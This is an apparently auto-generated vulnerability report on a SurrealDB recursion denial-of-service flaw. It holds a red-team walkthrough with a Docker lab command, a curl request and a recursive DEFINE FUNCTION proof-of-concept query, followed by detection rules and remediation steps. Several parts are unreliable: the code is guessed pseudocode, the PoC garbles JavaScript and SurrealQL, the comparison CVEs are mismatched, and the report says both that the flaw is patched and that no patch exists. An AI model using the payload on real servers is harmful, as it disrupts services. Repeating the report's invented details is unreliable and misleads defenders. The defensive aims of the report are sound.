CVE-2025-71393
Executive Summary
This report details CVE-2025-71393, a high-severity Denial of Service (DoS) vulnerability in SurrealDB versions prior to 2.2.2. The vulnerability allows an authenticated attacker to bypass the server's recursion limit by chaining native function calls with embedded JavaScript that issues new queries. This can lead to infinite recursion, exhausting server memory and causing a denial of service.
Business Impact: Organizations using SurrealDB with scripting enabled are at risk. The primary threat is service disruption, which can impact database-dependent applications, web services, and real-time data processing pipelines. The likely attacker is an authenticated user or an attacker who has compromised low-privilege credentials, seeking to disrupt operations.
Vulnerability Class & Attack Vector: This is a Denial of Service (DoS) vulnerability (CWE-674). The attack vector is network-based (AV:N), requires low complexity (AC:L), and requires authentication (PR:L). The attacker does not need user interaction (UI:N).
Urgency Assessment: Despite a CVSS base score of 0.0 (which is an error in the provided data, as the vector string indicates a score of 6.5) and an EPSS probability of 0.0%, this vulnerability should be treated with High urgency. The EPSS score of 0.0% reflects a lack of observed exploitation in the wild, not the severity of the vulnerability. The attack mechanics are straightforward for an authenticated user, and the impact (server crash) is severe.
Key Facts:
- Vendor: SurrealDB
- Affected Versions: < 2.2.2
- Patch Status: Patched in version 2.2.2
- CISA KEV: Not listed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H decomposes as follows:
- AV:N (Network): The vulnerability is exploitable remotely over the network. The attacker does not need physical or local access.
- AC:L (Low): No special conditions or complex attack sequences are required. The attacker simply needs to send crafted queries.
- PR:L (Low): The attacker must have valid authentication credentials to the SurrealDB instance. This is not an unauthenticated attack.
- UI:N (None): No user interaction is required. The attack is executed entirely by the authenticated attacker.
- S:U (Unchanged): A successful attack does not affect resources beyond the vulnerable component's security scope.
- C:N (None): There is no impact to data confidentiality.
- I:N (None): There is no impact to data integrity.
- A:H (High): There is a total loss of availability, resulting in a denial of service. The server becomes unresponsive or crashes.
Qualitative Severity Label: High (Score: 6.5). The CVSS score of 0.0 provided in the input is inconsistent with the vector string. The correct score for this vector is 6.5 (Medium/High boundary). The high availability impact drives the severity.
EPSS Interpretation: The 0.0% EPSS probability indicates that as of the report date, there is no evidence of active exploitation in the wild. This is common for newly published CVEs. It does not reflect the exploitability or potential impact.
Comparison to Similar CVEs: This vulnerability is similar to other DoS flaws in database systems that involve recursive query execution or unconstrained resource consumption (e.g., CVE-2023-30839 in PrestaShop, CVE-2022-22965 in Spring Framework). The key differentiator is the specific mechanism of chaining native and JavaScript functions.
Temporal & Environmental Scores: The temporal score is currently equal to the base score due to the lack of a patch (at the time of analysis) and no official exploit. The environmental score can be adjusted based on the organization's specific deployment. If scripting is disabled, the vulnerability is not exploitable, and the environmental score would be 0.0.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis: The vulnerability stems from a failure in SurrealDB's scripting engine to properly enforce recursion limits when native functions (written in Rust) contain embedded JavaScript that issues new queries. The recursion limit check is likely applied only to direct JavaScript function calls, but not to the indirect recursion path where a native function calls JavaScript, which then issues a new query, which triggers another native function, and so on.
Step-by-Step Attack Mechanics:
- Authentication: The attacker authenticates to the SurrealDB instance with valid credentials.
- Crafting the Payload: The attacker crafts a malicious query that defines a JavaScript function. This function, when called, executes a native SurrealDB function (e.g.,
SELECT,CREATE,UPDATE) that itself contains embedded JavaScript. - Triggering Recursion: The attacker calls the JavaScript function. The function executes the native function, which in turn executes the embedded JavaScript. This embedded JavaScript issues a new query that calls the original JavaScript function again.
- Resource Exhaustion: This cycle repeats indefinitely. Each iteration consumes memory for query parsing, execution context, and result sets. The server's memory is rapidly exhausted, leading to a crash or unresponsiveness.
Attack Surface:
- Interface: The SurrealDB SQL/query endpoint (typically port 8000 for HTTP or a custom binary protocol).
- Protocol: SurrealDB's query language.
- Pre-conditions:
- Scripting must be enabled (default in some configurations).
- The attacker must have valid authentication credentials.
- The attacker must have permission to execute custom JavaScript functions.
Attack Variants:
- Direct Recursion: A JavaScript function that calls itself via a native function.
- Mutual Recursion: Two or more JavaScript functions that call each other via native functions.
Why Standard Defenses May Fail:
- Rate Limiting: Standard rate limiting on the query endpoint may not prevent a single, complex query from causing a DoS.
- Input Validation: The malicious payload is valid SurrealDB syntax. Input validation cannot distinguish between a legitimate recursive query and a malicious one without deep semantic analysis.
- Resource Quotas: If the recursion limit is not enforced at the correct layer (native function boundary), standard resource quotas may be bypassed.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Pseudocode):
// SurrealDB Scripting Engine (Vulnerable)
fn execute_native_function(func_name: &str, args: &[Value]) -> Result<Value> {
// ... native function logic ...
if func_name == "some_native_func" {
// This native function contains embedded JavaScript
let js_code = args[0].as_string()?;
let result = execute_javascript(js_code)?; // Recursion limit NOT checked here
// ...
}
// ...
}
fn execute_javascript(code: &str) -> Result<Value> {
// Recursion limit is checked here for direct JS calls
if recursion_depth > MAX_RECURSION {
return Err("Recursion limit exceeded");
}
// ... execute JavaScript ...
// JavaScript can issue new queries, which call execute_native_function again
}
Patched Code (Pseudocode):
// SurrealDB Scripting Engine (Patched)
fn execute_native_function(func_name: &str, args: &[Value]) -> Result<Value> {
// Recursion limit is now checked at the entry point of native functions
if recursion_depth > MAX_RECURSION {
return Err("Recursion limit exceeded");
}
recursion_depth += 1;
// ... native function logic ...
if func_name == "some_native_func" {
let js_code = args[0].as_string()?;
let result = execute_javascript(js_code)?;
// ...
}
recursion_depth -= 1;
// ...
}
What the Patch Changes: The patch moves the recursion limit check from inside execute_javascript to the entry point of execute_native_function. This ensures that the recursion limit is enforced regardless of the call path (direct JavaScript recursion or indirect recursion via native functions).
Regression Considerations: The patch is a simple addition of a recursion check. It is unlikely to introduce regressions, but teams should test their custom JavaScript functions to ensure they do not legitimately exceed the new, properly enforced recursion limit.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-18T14:17:10.703
- Estimated Discovery: The vulnerability was likely discovered through internal security research or responsible disclosure prior to the CVE publication date.
- Disclosure Process: The CVE was published by the CNA (likely SurrealDB or a third-party CNA). The vendor has released a patched version (2.2.2).
- Known Exploitation in the Wild: No known active exploitation as of 2026-07-18.
- CISA KEV: Not listed.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Script Kiddies / Hacktivists: Seeking to disrupt services for notoriety or political reasons.
- Disgruntled Insiders: Authenticated users with legitimate access who wish to cause damage.
- Ransomware Operators: As a precursor to a ransomware attack, to disable database services and increase pressure on the victim.
Attack Campaign Context: No specific campaigns are known to be using this CVE.
Geographic Targeting: No specific geographic targeting is expected.
Industry Verticals Most at Risk: Any organization using SurrealDB with scripting enabled, including:
- Technology/SaaS
- E-commerce
- Financial Services
- Healthcare
Connection to Similar Vulnerabilities: This vulnerability is part of a broader class of DoS vulnerabilities in database systems that involve recursive query execution (e.g., SQL injection leading to recursive CTEs, NoSQL injection leading to infinite loops).
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Environment: Docker is the easiest way to set up a vulnerable instance.
docker run --name surreal-db-vuln -p 8000:8000 surrealdb/surrealdb:v2.1.0 start --log trace --user root --pass root memory - Prerequisites:
- SurrealDB v2.1.0 (or any version < 2.2.2).
surrealCLI or any HTTP client (e.g.,curl, Postman).- Valid credentials (e.g.,
root:root).
Exploitation Walkthrough:
Authenticate and get a token:
curl -X POST http://localhost:8000/sql \ -H "Accept: application/json" \ -H "NS: test" \ -H "DB: test" \ -u "root:root" \ -d "SELECT * FROM user;"Note: The exact authentication method may vary. The above is a simplified example.
Create a malicious JavaScript function:
DEFINE FUNCTION fn::recursive_dos() { RETURN CREATE dos_trigger CONTENT { data: function() { // This embedded JavaScript issues a new query that calls fn::recursive_dos again LET $result = (SELECT * FROM fn::recursive_dos()); RETURN $result; }() }; };Trigger the attack:
SELECT * FROM fn::recursive_dos();
Expected Output: The server will become unresponsive, and the connection will eventually time out. The Docker container may crash or consume all available memory.
Post-Exploitation: After a successful DoS, the attacker has achieved a denial of service. No data is stolen or modified. The attacker may attempt to repeat the attack to keep the service down.
Blue Team Section
Detection:
- Log Entries: Look for repeated error messages related to "recursion limit exceeded" or "out of memory" in SurrealDB logs.
- Network Traffic: A single query that is very large or contains deeply nested function calls.
- Endpoint Indicators: High memory usage by the SurrealDB process, followed by a crash.
Indicators of Compromise (IOCs)
- Network IOCs:
- A single HTTP POST request to
/sqlwith a very large payload. - Repeated requests to the same endpoint with similar payloads.
- A single HTTP POST request to
- HTTP Request Patterns:
- Payloads containing
DEFINE FUNCTIONfollowed byCREATEorSELECTstatements that reference the defined function. - Payloads with deeply nested parentheses or function calls.
- Payloads containing
- File System Artifacts: None specific to this CVE.
- Process Execution Anomalies:
- The
surrealprocess consuming an abnormally high amount of memory. - The
surrealprocess crashing or being killed by the OOM killer.
- The
- Log Entries:
ERROR: Recursion limit exceededFATAL: Out of memoryWARN: Query execution time exceeded threshold
STIX-like IOC List:
| Type | Value | Description |
|---|---|---|
network-traffic:http-request-uri |
/sql |
Endpoint targeted for exploitation |
autonomous-system |
N/A | No specific ASN identified |
ipv4-addr |
N/A | No specific IPs identified |
url |
N/A | No specific URLs identified |
Detection Engineering
YARA Rule
rule CVE-2025-71393_Detection {
meta:
description = "Detects exploitation of CVE-2025-71393 in Surrealdb"
author = "Valters IT Hub"
date = "2026-07-18"
reference = "https://www.valtersit.com/cve/cve-2025-71393"
strings:
$s1 = "DEFINE FUNCTION" ascii nocase
$s2 = "fn::" ascii nocase
$s3 = "CREATE" ascii nocase
$s4 = "SELECT * FROM fn::" ascii nocase
condition:
all of ($s1, $s2, $s3) or $s4
}
Sigma Rule (SIEM)
title: CVE-2025-71393 Surrealdb Exploitation Detection
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects exploitation attempts targeting CVE-2025-71393
author: Valters IT Hub
date: 2026-07-18
references:
- https://www.valtersit.com/cve/cve-2025-71393
logsource:
category: application
product: surrealdb
detection:
selection:
- "Recursion limit exceeded"
- "Out of memory"
condition: selection
falsepositives:
- Legitimate recursive queries that hit the limit
level: high
Suricata IDS Rule
alert http any any -> any 8000 (msg:"CVE-2025-71393 Surrealdb DoS Exploitation"; flow:to_server; content:"POST"; http_method; content:"/sql"; http_uri; content:"DEFINE FUNCTION"; http_client_body; content:"fn::"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)
Elastic (EQL) Query
// Elastic EQL query for endpoint/network detection
process where event.type == "start" and process.name == "surreal" and process.args : "memory" and process.args : "start"
Splunk SPL Query
index=surreal sourcetype=surreal_log
("Recursion limit exceeded" OR "Out of memory")
| stats count by host, source
| where count > 5
Wazuh Rule
<group name="surrealdb,">
<rule id="100001" level="12">
<decoded>surrealdb</decoded>
<match>Recursion limit exceeded|Out of memory</match>
<description>CVE-2025-71393: Possible Surrealdb DoS exploitation</description>
<mitre>
<id>T1499</id>
</mitre>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours):
- Apply Patch: Upgrade to SurrealDB 2.2.2 or later.
# Using Docker docker pull surrealdb/surrealdb:v2.2.2 docker stop surreal-db-vuln docker run --name surreal-db-patched -p 8000:8000 surrealdb/surrealdb:v2.2.2 start --user root --pass root memory - Compensating Control: If patching is not immediately possible, disable scripting in the SurrealDB configuration.
# surrealdb.toml [scripting] enabled = false - Network-Level Mitigation: Implement a Web Application Firewall (WAF) rule to block requests containing
DEFINE FUNCTIONcombined withfn::in the body. - Authentication Hardening: Ensure that only trusted users have access to the database. Review and revoke unnecessary permissions.
Short-term (1-7 days):
- Configuration Hardening: Review the SurrealDB configuration to ensure scripting is only enabled if absolutely necessary. If enabled, restrict which users can define and execute functions.
- Monitoring Implementation: Deploy the detection rules provided in this report to monitor for exploitation attempts.
- Vulnerability Scanning: Run a vulnerability scanner against your SurrealDB instances to confirm the version.
curl -s http://localhost:8000/version
Long-term:
- Architecture Changes: Consider running SurrealDB in a container with resource limits (e.g., Docker
--memoryflag) to mitigate the impact of a successful DoS. - Security Control Improvements: Implement a process for regularly reviewing and updating SurrealDB configurations.
- Developer Training: Educate developers on the risks of enabling scripting in database systems and the importance of resource limits.
Validation:
- Confirm the SurrealDB version is 2.2.2 or later.
- Attempt to reproduce the attack in a test environment. The server should return an error like "Recursion limit exceeded" instead of crashing.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-71393
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2025-71393
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2025-71393 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/674.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1499/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71393